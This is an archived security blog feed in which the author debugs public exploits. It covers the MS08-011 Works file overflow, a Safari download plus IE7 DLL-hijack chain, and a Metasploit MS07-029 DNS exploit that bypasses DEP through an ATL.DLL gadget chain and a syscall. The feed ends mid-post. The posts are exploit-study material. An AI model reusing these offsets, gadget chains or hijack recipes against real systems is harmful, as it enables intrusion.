tag:blogger.com,1999:blog-302609082024-03-24T01:23:40.015+07:00Software Vulnerability Exploitation BlogThis blog is all about Exploitation Technique and Information Security Related Topic.
<br><br>
Disclaimer: All information in this blog comes from the research, so it could be wrong. I'm not responsible for the damage caused by information in this blog :)Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.comBlogger22125tag:blogger.com,1999:blog-30260908.post-56492249934976128442008-06-20T13:03:00.004+07:002008-06-20T13:57:29.413+07:00Exploiting Office: MS08-011 – Attacking using Malformed .WPS<span style="font-weight: bold; color: rgb(51, 102, 255);">Microsoft Office Exploitation</span> is still to be continued in today. Microsoft Office and Internet Explorer is the target because they are the applications that used everyday and has the more possibility to interact with external entities that other applications. However, exploiting Microsoft Office is not trivial, you must know a lot of Office document format - Word, Excel, PowerPoint and etc. I try to learn these files formats from internet and I found that it's not easy and time consuming. I think may be trying to learn the file format from exploit may be the easier way. So, I pick up the <span style="font-weight: bold; color: rgb(255, 0, 0);">MS08-011 Microsoft Works files (.WPS) vulnerability</span> to be the case study.<br /><br />According to Microsoft Security Bullentin, <a href="http://www.microsoft.com/technet/security/bulletin/ms08-011.mspx">MS08-011</a> occurs when Microsoft Office or Microsoft Works Suite try to convert the crafted .WPS files to be other format. The vulnerability in this case is stack-based buffer overflow which is easier to exploit. I set up <span style="font-weight: bold; color: rgb(0, 153, 0);">Microsoft Windows XP SP2</span> and <span style="font-weight: bold; color: rgb(0, 153, 0);">Microsoft Office 2003 SP3</span> as the test-based. To exploit this vulnerability, you have to install Import Converter. If you have not yet installed it, Microsoft Word will install it when you try to open .WPS file:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=WPSinstall02.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/WPSinstall02.png" alt="Photobucket" border="0" /></a><br /><br />I use <span style="font-weight: bold; color: rgb(255, 0, 0);">Chujwamwdupe</span>'s exploit which tested on Windows XP SP2 de and Office 2003 SP3. This is the result:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=successexploit.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/successexploit.png" alt="Photobucket" border="0" /></a><br /><br />Microsoft Word crashs, however, the calculator is launched which means that it exploits successfully without any modification. In the exploit, it use the return address <span style="font-weight: bold; color: rgb(255, 0, 0);">0x7c941eed </span>which point to "jmp esp" instruction. in XP SP2 de. When I lookup this address in my machine, it's point to the same instruction, that's why I don't have to change any part of the exploit.<br /><br />I start to debug the vulnerability by changing the return to 0x41414141 and re-run the exploit. However, it seems that all of information on the stack are destroyed by the exploit, so I can't trace back to see what's happened. Umm.... may be I have to find more details from the exploit code instead. In the code, the author said that when you change the length of <span style="font-weight: bold; color: rgb(51, 102, 255);">TEXT </span>section to the value more than 0x10 , the overflow will occur. I start to locate the magic characters of .WPS file "<span style="font-weight: bold; color: rgb(255, 0, 0);">CHNKWKS</span>" and the locate the "<span style="font-weight: bold; color: rgb(255, 0, 0);">TEXT</span>" characters. After the "TEXT" field, I see only one character that is not null:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=exploitcode.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/exploitcode.png" alt="Photobucket" border="0" /></a><br /><br />I think may be this is the key to trick the overflow. I change this value to <span style="font-weight: bold; color: rgb(0, 153, 0);">0x01 </span>and re-run the exploit:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=newcrash.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/newcrash.png" alt="Photobucket" border="0" /></a><br /><br />At this time, it crash in different position from the old one, <span style="font-weight: bold; color: rgb(51, 102, 255);">0x61092ae7</span> (<span style="color: rgb(0, 153, 0); font-weight: bold;">wkcvqd01!DllGetClassObject + 0x158fd</span>). I put the assumption that the overflow situation may be related to this function, so I start to disassembly the code section and it's lucky because the code is easy to understand:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=codesection.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/codesection.png" alt="Photobucket" border="0" /></a><br /><br />Shortly describe, this code copy data from the address pointed by esi to the address pointed by edi. esi got the address from eax, and edi got the address from ecx. Each of loop will copy 12 bytes and check the loop condition value which stored at address pointed by ebx + 0Ah. I set the value 0x01 back to 0x2f, then set the breakpoint in debugger at <span style="font-weight: bold; color: rgb(255, 0, 0);">0x61092ae7</span>. When I run the exploit, the message breakpoint hit occurs on the screen and I run the debugger step by step until I see something interesting:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=loopcontrol.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/loopcontrol.png" alt="Photobucket" border="0" /></a><br /><br />At this step, the loop condition is loaded from address pointed by <span style="font-weight: bold; color: rgb(51, 102, 255);">ebx + 0xa</span> to <span style="font-weight: bold; color: rgb(255, 0, 0);">esi</span>, and it's value is 0x2f !!! Yezzz, this value which I suspect is an important key in the exploit. It's functionality is the number of loop, for each loop the program will copy 12 bytes from source to destination totally <span style="color: rgb(51, 204, 0); font-weight: bold;">12 * 0x2f = 564 bytes</span> to memory. If you calculate length of shellcode + number of bytes after 0x2f + length of the return address, you will see that it is <span style="font-weight: bold; color: rgb(51, 204, 0);">362 + 20 + 4 = 386 bytes</span> which small enough for the value 0x2f to copy all of we need.<br /><br />I continue the debugger until exit the loop, the stack looks like this:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=exitloop.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/exitloop.png" alt="Photobucket" border="0" /></a><br /><br />Our <span style="font-weight: bold; color: rgb(51, 102, 255);">return address</span> is stored at <span style="font-weight: bold; color: rgb(51, 102, 255);">0x001242e8</span> and starting of the <span style="font-weight: bold; color: rgb(255, 0, 0);">shellcode</span> is at <span style="font-weight: bold; color: rgb(255, 0, 0);">0x001242ec</span>. After this step we will see 2 "pop" instruction and 1 "ret" instruction, then flow of execution transfers to <span style="font-weight: bold; color: rgb(0, 153, 0);">0x61091b25</span>, <span style="font-weight: bold; color: rgb(0, 153, 0);">wkcvqd01!DllGetClassObject + 0x1493b</span>:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=ret1.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/ret1.png" alt="Photobucket" border="0" /></a><br /><br />I continue run step-by-step until the instruction "ret" again:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=ret2.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/ret2.png" alt="Photobucket" border="0" /></a><br /><br />Now, it's easy to understand what's happened next ;) Microsoft Word will returns to address on the stack which point to "jmp esp" instruction. After that, the program will landing on the stack which our shellcode is stored:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=jmpesp.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/jmpesp.png" alt="Photobucket" border="0" /></a><br /><br />End ^=^Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-88707441167296460802008-06-16T12:58:00.002+07:002008-06-16T16:27:35.227+07:00Blended Threat: Attacking Windows Users using Safari’s and IE’s Vulnerabilities<span style="font-weight: bold; color: rgb(51, 102, 255);">One year / One entry</span> <span style="color: rgb(51, 102, 255); font-weight: bold;">^_^</span>. Normally, most of information security people use one or more web browser because this can make you surf the web more secure. You can choose which web browser will be used to surf the specific web, so you can avoid to use the vulnerable browser to visit the suspected web site. But, do you think using multiple browsers will make your machine infect malware instead of be more secure, lol. Yes, I'm talking about vulnerabilities of 2 web browser, <span style="font-weight: bold; color: rgb(255, 0, 0);">Safari </span>and <span style="font-weight: bold; color: rgb(255, 0, 0);">Internet Explorer</span>. Each of vulnerability is considered <span style="font-weight: bold; color: rgb(0, 153, 0);">moderate/less</span> severity, however, when using these vulnerabilities together the severity will become <span style="font-weight: bold; color: rgb(255, 0, 0);">critical</span>. The vulnerabilities I describe in this entry are <span style="font-weight: bold; color: rgb(51, 102, 255);">Safari "Carpet Bomb"</span> and <span style="font-weight: bold; color: rgb(0, 153, 0);">Internet Explorer "DLL Load Hijack"</span><br /><br /><a href="http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html">Safari Carpet Bomb</a> ,discovered by <span style="font-weight: bold; color: rgb(51, 102, 255);">Netish Dhanjani</span>, is the vulnerability of Apple's web browser on OS X and Microsoft Windows. When users use Safari to browse the specially crafted website, Safari will download file into users machine without users interaction (default location is Desktop). The trick to force Safari to download file into user machine is <span style="font-weight: bold; color: rgb(255, 0, 0);">iframe</span>:<br /><br /><span style="font-style: italic; color: rgb(0, 153, 0);">...</span><span style="font-style: italic; color: rgb(0, 153, 0);"><br />iframe src="somefile" width=xxx height=xxx</span><span style="font-style: italic; color: rgb(0, 153, 0);"><br />...</span><br /><br />I install <span style="font-weight: bold; color: rgb(51, 102, 255);">Safari 3.3.1 (525.17)</span>, the latest version of Safari, and browse to my crafted website. The result is in below:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=CarpetBomb.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/CarpetBomb.png" alt="Photobucket" border="0" /></a><br /><br />Safari download 3 files into Desktop - A, B and C. Many people, including Apple, consider this behavior to be less or no harmful. The file downloaded into users machine could not be executed by Safari itself. Yes, their attitude are right until <a href="http://aviv.raffon.net/">Aviv Raff</a> point to something important.<br /><br /><span style="font-weight: bold; color: rgb(0, 153, 0);">Aviv Raff</span>, a brilliant security researcher, has discovered something that can escalate Safari's vulnerability to critical severity. He releases the screen-shot to prove that command execute could be occur when combine Safari's vulnerability with Internet Explorer behavior. If you notice the stuff that he discover about IE in the past, you will see something that very interesting. In <a href="http://aviv.raffon.net/CommentView,guid,e2cf6515-db9a-4409-9127-daee249ad5de.aspx">December 2006</a>, Aviv Raff had discovered that <span style="font-weight: bold; color: rgb(51, 102, 255);">IE7</span> has the behavior that may be dangerous to the user. For some DLLs, IE7 will search the DLLs from PATH environment and loaded the first match into memory. <span style="font-weight: bold; color: rgb(255, 0, 0);">In some situation, IE7 will search from Desktop</span>. If the attacker has the ability to put DLLs on the victim's Desktop, he will won the game...<br /><br />Now, I think you already know how to put things together, right? :). Trick the users to download file into Desktop by using Safari's vulnerability and waiting users to launch IE is the way to do. To test this, I create 3 DLLs file - <span style="font-weight: bold; color: rgb(51, 102, 255);">sqmapi.dll</span>, <span style="font-weight: bold; color: rgb(51, 102, 255);">imageres.dll</span> and <span style="font-weight: bold; color: rgb(51, 102, 255);">schannel.dll</span> - which will launch <span style="font-weight: bold; color: rgb(0, 153, 0);">calc.exe</span>, <span style="font-weight: bold; color: rgb(0, 153, 0);">notepad.exe</span> and <span style="color: rgb(0, 153, 0); font-weight: bold;">mspaint.exe</span>. Is it necessary to named the DLLs like these ?. According to Aviv's information, only these DLLs can be used to hijack the IE. This is the result when I use Safari to browse the web and then open IE7:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=BlendedThreat.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/BlendedThreat.png" alt="Photobucket" border="0" /></a><br /><br />and this screen-shot confirm that IE7 already launch calc, notepad and mspaint:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=Proc.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/Proc.png" alt="Photobucket" border="0" /></a><br /><br />If you would like to see IE search which path in order, you can use <span style="font-weight: bold; color: rgb(0, 153, 0);">Process Monitor</span> to view it. This is the snapshot from Process Monitor:<br /><br /><a href="http://s136.photobucket.com/albums/q196/triratp/Exploit/?action=view&current=SearchPath.png" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/Exploit/SearchPath.png" alt="Photobucket" border="0" /></a><br /><br />From the picture above, I can assume that the search path of IE is in the following order:<br /><br /><ul><li style="color: rgb(51, 102, 255); font-weight: bold;">C:\Program Files\Internet Explorer\</li><li style="color: rgb(51, 102, 255); font-weight: bold;">C:\WINDOWS\system32\</li><li style="color: rgb(51, 102, 255); font-weight: bold;">C:\WINDOWS\system\<br /></li><li style="color: rgb(51, 102, 255); font-weight: bold;">C:\WINDOWS\</li><li><span style="color: rgb(51, 102, 255); font-weight: bold;">C:\Documents and Settings\</span><span style="font-style: italic; color: rgb(51, 102, 255); font-weight: bold;">username</span><span style="color: rgb(51, 102, 255); font-weight: bold;">\Desktop</span><br /></li></ul><br />Have fun with them ^_^<br /><br />P.S. This attack also called "<span style="font-weight: bold; color: rgb(255, 0, 0);">Blended Threat</span>". It means the software vulnerability that combine with two or more different vulnerabilities.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com1tag:blogger.com,1999:blog-30260908.post-86323804301269524872007-08-15T15:02:00.000+07:002007-08-15T16:05:30.772+07:00MS07-029 Series: - Part 4: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - Bypass hardware-enforced DEP/NX in real world<p class="MsoNormal">After I described how to exploit <span style="font-weight: bold; color: rgb(51, 102, 255);">MS07-029</span> vulnerability on Windows 2003 Server SP1/SP2, now I will post about it again but in the different technique. In this post I will describe how to <span style="font-weight: bold; color: rgb(51, 102, 255);">bypass hardware-enforced DEP</span> or <span style="color: rgb(51, 102, 255); font-weight: bold;">NX</span> on Windows 2003 Server SP1/SP2 instead of software DEP (SafeSEH issue). However, because I have no NX support machine, so something will be missed and It’s very helpful if you help me to correct things.</p>Now, before I go to the debugging process, I have to review some exploit code to see how it’s work. As other posts, I use <span style="font-weight: bold; color: rgb(0, 153, 0);">msdns_zonename.rb</span> from <a style="font-weight: bold;" href="http://www.metasploit.com/">http://www.metasploit.com</a> as the exploit code to research. This is the return address section of Windows 2003 Server SP1/SP2 target:<br /><br /><span style="color: rgb(0, 153, 0);">Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, '<span style="font-weight: bold;">IB</span>' => <span style="font-weight: bold;">0x76a80000</span> }</span><br /><br /><o:p></o:p><span style=";font-family:Tahoma;font-size:10;" ></span>Something has changed from the old one. The return address of Windows 2000 and 2003 SP0 are called Ret and Rets, however, the return address in this target is called IB (Image Base). What’s the image that start at the address<span lang="TH"> </span><span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a80000</span> ?<br /><br /><span style="color: rgb(0, 153, 0);">0:011> !lmi 76a80000</span><br /><span style="color: rgb(0, 153, 0);">Loaded Module Info: [<span style="font-weight: bold;">76a80000</span>]<br />Module: ATL<br />Base Address: 76a80000<br />Image Name: C:\WINDOWS\System32\<span style="font-weight: bold;">ATL.DLL</span><br />...</span><br /><br />It’s the image base of <span style="font-weight: bold; color: rgb(51, 102, 255);">ATL.DLL</span> and start at <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a80000</span>. Then I go to the code of Windows 2003 SP1/SP2 exploitation section<br /><span style="color: rgb(0, 153, 0);"><br />off = mytarget['Off']</span><br /><span style="color: rgb(0, 153, 0);">ib</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">= mytarget['IB']</span><br /><span style="color: rgb(0, 153, 0);">txt[ off ] = [ib + 0x2566].pack('V')</span><br /><p class="MsoNormal">First, it set the payload to <span style="color: rgb(51, 102, 255); font-weight: bold;">0x76a80000 + 0x2566</span> = <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a82566</span> at the 1633th byte of the payload:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:011> u 0x76a82566<br />ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:<br />76a82566 <span style=""></span>add<span style=""> </span>ebp,5ACh<br />76a8256c <span style=""></span>leave<br />76a8256d <span style=""></span><span style=""></span>ret<span style=""> </span>14h</p> <p class="MsoNormal">At the address 0x76a82566 is the instruction that add some value to ebp, switch value between ebp/esp and pop value of esp to ebp, then jump to the address on esp. Then, when I lookup the rest of code, I decide to step into the debugging process because it ‘s quite difficult to understand what the exploit code does.</p><p class="MsoNormal"> </p><p class="MsoNormal">I run the exploit and the debugger give the same result on other target:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">(1f4.6d0): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(0, 153, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(0, 153, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(0, 153, 0);">eax=00169f0e ebx=013a0000 ecx=00007a69 edx=013a0000 esi=00000003 edi=00169f0b</span><br /><span style="color: rgb(0, 153, 0);">eip=01015462 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">dns!extractQuotedChar+0x3b:<br />01015462<span style=""> </span>mov<span style=""> </span>byte ptr [edx],cl<span style=""> </span>ds:0023:013a0000=??</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style="color: rgb(0, 0, 0);">After this phase, the exception handler will be called to handle the exception:</span><br /><o:p><br /></o:p><span style="color: rgb(0, 153, 0);">…</span><br /><span style="color: rgb(0, 153, 0);">ntdll!ExecuteHandler2+0x24:</span><br /><span style="color: rgb(0, 153, 0);">7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b <span style="font-weight: bold;">(76a82566</span></span><span style="font-weight: bold;">}</span><br /></p><p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> bp 76a82566<br />0:012> p<br />Breakpoint 0 hit<br />ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:<br />76a82566<span style=""> </span>add<span style=""> </span>ebp,5ACh</p> <p class="MsoNormal">Could you remember <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a82566</span> ? Yep, it is the fake return address in our payload that overwrite the SEH handler on the stack. It is also can bypass the SafeSEH protection (software DEP on Windows) because the ATL.DLL is complied with the older version of SafeSEH and the protection is broken. Then I continue the debugging process:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:<br />76a8256c<span style=""> </span>leave</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> p<br />eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000<br />eip=76a8256d esp=0189f8b4 ebp=6f51626a iopl=0<span style=""> </span>nv up ei pl nz ac po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000212</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:<br />76a8256d<span style=""> </span>ret<span style=""> </span>14h</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> dd esp<br />0189f8b4<span style=""> </span><span style="font-weight: bold;">76a81da7</span> 46356579 42387556 7a726759</p> <p class="MsoNormal">The flow of execution will jump to <span style="color: rgb(51, 102, 255); font-weight: bold;">0x76a81da7</span>. Where’s 0x76a81da7 come from ? It’s in the code line:<o:p> </o:p></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')</p> <p class="MsoNormal">What does this return address do ? It’s pop the value from the stack and store at esi, then return.</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> u<br />ATL!ATL::CExpansionVector::CExpansionVector+0x1a:<br />76a81da7 <span style=""> </span>pop<span style=""> </span>esi<br />76a81da8 <span style=""> </span>ret</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> p<br />eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 <span style="font-weight: bold;">esi=000000ed</span> edi=00000000<br />eip=76a81da8 esp=0189f8d0 ebp=6f51626a iopl=0<span style=""> </span>nv up ei pl nz ac po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000212</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!ATL::CExpansionVector::CExpansionVector+0x1b:<br />76a81da8 <span style=""> </span>ret</p> <p class="MsoNormal">The value <span style="font-weight: bold; color: rgb(51, 102, 255);">0xed </span><span style="color: rgb(0, 0, 0);">stored in</span><span style="font-weight: bold; color: rgb(51, 102, 255);"> esi</span> come from the code in this line:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">txt[ off + 28, 4] = [0xed].pack('V')</span></p> <p class="MsoNormal"><o:p></o:p>Then the process will jump to <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a81da4</span>: which coded in line:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">txt[ off + 32, 4] = [ib + 0x1da4].pack('V')<o:p></o:p></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">...<br />ATL!ATL::CExpansionVector::CExpansionVector+0x1b:<br />76a81da8 <span style=""> </span>ret</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> dd esp<br />0189f8d0<span style=""> <span style="font-weight: bold;"> </span></span><span style="font-weight: bold;">76a81da4</span> 7ffe0300 63685572 76a8109c</p> <span style="color: rgb(0, 153, 0);">...</span><br /><span style="color: rgb(0, 153, 0);">0:012> u</span><o:p style="color: rgb(0, 153, 0);"></o:p><br /><span style="color: rgb(0, 153, 0);">ATL!ATL::CExpansionVector::CExpansionVector+0x17:</span><br /><span style="color: rgb(0, 153, 0);">76a81da4 pop ecx</span><br /><span style="color: rgb(0, 153, 0);">76a81da5 mov eax,esi</span><br /><span style="color: rgb(0, 153, 0);">76a81da7 pop esi</span><br /><span style="color: rgb(0, 153, 0);">76a81da8 ret </span><br /><br />The instructions at address 0x76a81da4 are the series of instruction that pop the value from the stack and then jmp to the address on the stack:<br /><br /><span style="color: rgb(0, 153, 0);">0:012> dd esp</span><br /><span style="color: rgb(0, 153, 0);">0189f8d4 7ffe0300 63685572 76a8109c 7970574f </span><br /><br /><span style="color: rgb(0, 153, 0);">76a81da4 pop ecx</span><br /><span style="color: rgb(0, 153, 0);">0:012> p</span><br /><span style="color: rgb(0, 153, 0);">eax=00000000 ebx=00000000 </span><span style="font-weight: bold; color: rgb(0, 153, 0);">ecx=7ffe0300</span><span style="color: rgb(0, 153, 0);"> edx=7c828766 esi=000000ed edi=00000000</span><br /><span style="color: rgb(0, 153, 0);">eip=76a81da5 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212</span><br /><br /><span style="color: rgb(0, 153, 0);">ATL!ATL::CExpansionVector::CExpansionVector+0x18:</span><br /><span style="color: rgb(0, 153, 0);">76a81da5 mov eax,esi</span><br /><span style="color: rgb(0, 153, 0);">0:012> p</span><br /><span style="color: rgb(0, 153, 0);">Breakpoint 1 hit</span><br /><span style="font-weight: bold; color: rgb(0, 153, 0);">eax=000000ed</span><span style="color: rgb(0, 153, 0);"> ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000</span><br /><span style="color: rgb(0, 153, 0);">eip=76a81da7 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212</span><br /> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!ATL::CExpansionVector::CExpansionVector+0x1a:<br />76a81da7 5e<span style=""> </span>pop<span style=""> </span>esi<br />0:012> p<br />eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000<br />eip=76a81da8 esp=0189f8dc ebp=6f51626a iopl=0<span style=""> </span>nv up ei pl nz ac po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000212</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!ATL::CExpansionVector::CExpansionVector+0x1b:<br />76a81da8<span style=""> </span>ret</p> <p class="MsoNormal">Now,<span style="font-weight: bold;"> <span style="color: rgb(51, 102, 255);">eax</span></span> is set to <span style="font-weight: bold; color: rgb(51, 102, 255);">0xed</span> and <span style="font-weight: bold; color: rgb(51, 102, 255);">ecx</span> is set to <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe0300</span>, then jump to 0x76a8109c:<o:p></o:p></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000<br />eip=76a8109c esp=0189f8e0 ebp=6f51626a iopl=0<span style=""> </span>nv up ei pl nz ac po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000212</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!AtlComQIPtrAssign+0x23:<br />76a8109c<span style=""> </span>call<span style=""> </span>dword ptr [ecx]<span style=""> </span>ds:0023:<span style="font-weight: bold;">7ffe0300</span>={ntdll!KiFastSystemCall (<span style="font-weight: bold;">7c8285e8</span>)}</p> <p class="MsoNormal">The value <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe0300</span> is in the code line:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">txt[ off + 36, 4] = [0x7ffe0300].pack('V')</p> <p class="MsoNormal"><o:p></o:p>and 0x76a8109c in the line:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">txt[ off + 44, 4] = [ib + 0x109c].pack('V')</span></p> <p class="MsoNormal"><o:p></o:p>But… what is the address <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe0300</span> ? It’s look like the pointer to some location (<span style="font-weight: bold; color: rgb(51, 102, 255);">0x7c8285e8</span>). I’ve found the answer in this <a style="font-weight: bold;" href="http://www.nynaeve.net/?p=48">blog</a>. The address 0x7ffe0300 is the offset + <span style="font-weight: bold; color: rgb(51, 102, 255);">0x300</span> from <span style="font-weight: bold; color: rgb(51, 102, 255);">KUSER_SHARED_DATA</span> structure and it’s something for system call issue:</p> <p class="MsoNormal"> </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dt ntdll!_KUSER_SHARED_DATA<br />…<br /><span style=""></span>+0x2f8 TestRetInstruction : Uint8B<br /><span style=""></span>+0x300 <span style="font-weight: bold;">SystemCall</span><span style=""> </span>: Uint4B<br /><span style=""></span>+0x304 SystemCallReturn : Uint4B</p> <p class="MsoNormal">Now the flow of execution transfer to <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7c8285e8</span> – <span style="font-weight: bold; color: rgb(51, 102, 255);">ntdll!KiFastSystemCall</span>:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> u<br />ntdll!KiFastSystemCall:<br />7c8285e8 8bd4<span style=""> </span>mov<span style=""> </span>edx,esp<br />7c8285ea 0f34<span style=""> </span>sysenter</p> <p class="MsoNormal">After jump to 0x7c8285e8 – ntdll!KiFastSystemCall, the process will move value from esp to edx and run sysenter instruction. But wait… what is <span style="font-weight: bold; color: rgb(51, 102, 255);">sysenter</span> instruction -*- ? After I search through the google, I’ve found the interesting article <a style="font-weight: bold;" href="http://www.securityfocus.com/infocus/1844/2">Windows syscall shellcode</a>. In summary, sysenter is the instruction that execute the “system call” of Microsoft Windows operating system – switch to ring 0 level – the kernel mode. The <span style="font-weight: bold; color: rgb(51, 102, 255);">eax</span> value is the <span style="font-weight: bold; color: rgb(51, 102, 255);">system call number</span> to be executed – in this case<span style="font-weight: bold; color: rgb(51, 102, 255);"> 0xed</span>. What is the system call number 0xed ? It is <span style="font-weight: bold; color: rgb(51, 102, 255);">NtSetInformationProcess</span> (search at <a href="http://www.metasploit.com/users/opcode/syscalls.html">http://www.metasploit.com/users/opcode/syscalls.html</a>). </p> <p class="MsoNormal">The parameter of sysenter is passed to NtSetInformationProcess by edx. It points to the return address after execute the sysenter command and the array of argument that pass to the system call – NtSetInformationProcess in this case. </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ntdll!KiFastSystemCall:<br />7c8285e8 8bd4<span style=""> </span>mov<span style=""> </span>edx,esp</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> p<br />eax=000000ed ebx=00000000 ecx=7ffe0300 edx=0189f8dc esi=63685572 edi=00000000<br />eip=7c8285ea esp=0189f8dc ebp=6f51626a iopl=0<span style=""> </span>nv up ei pl nz ac po nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000212</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ntdll!KiFastSystemCall+0x2:<br />7c8285ea 0f34<span style=""> </span>sysenter</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:012> dd edx<br />0189f8dc<span style=""> </span>76a8109e 7970574f <span style="font-weight: bold;">ffffffff 00000022</span><br />0189f8ec<span style=""> </span><span style="font-weight: 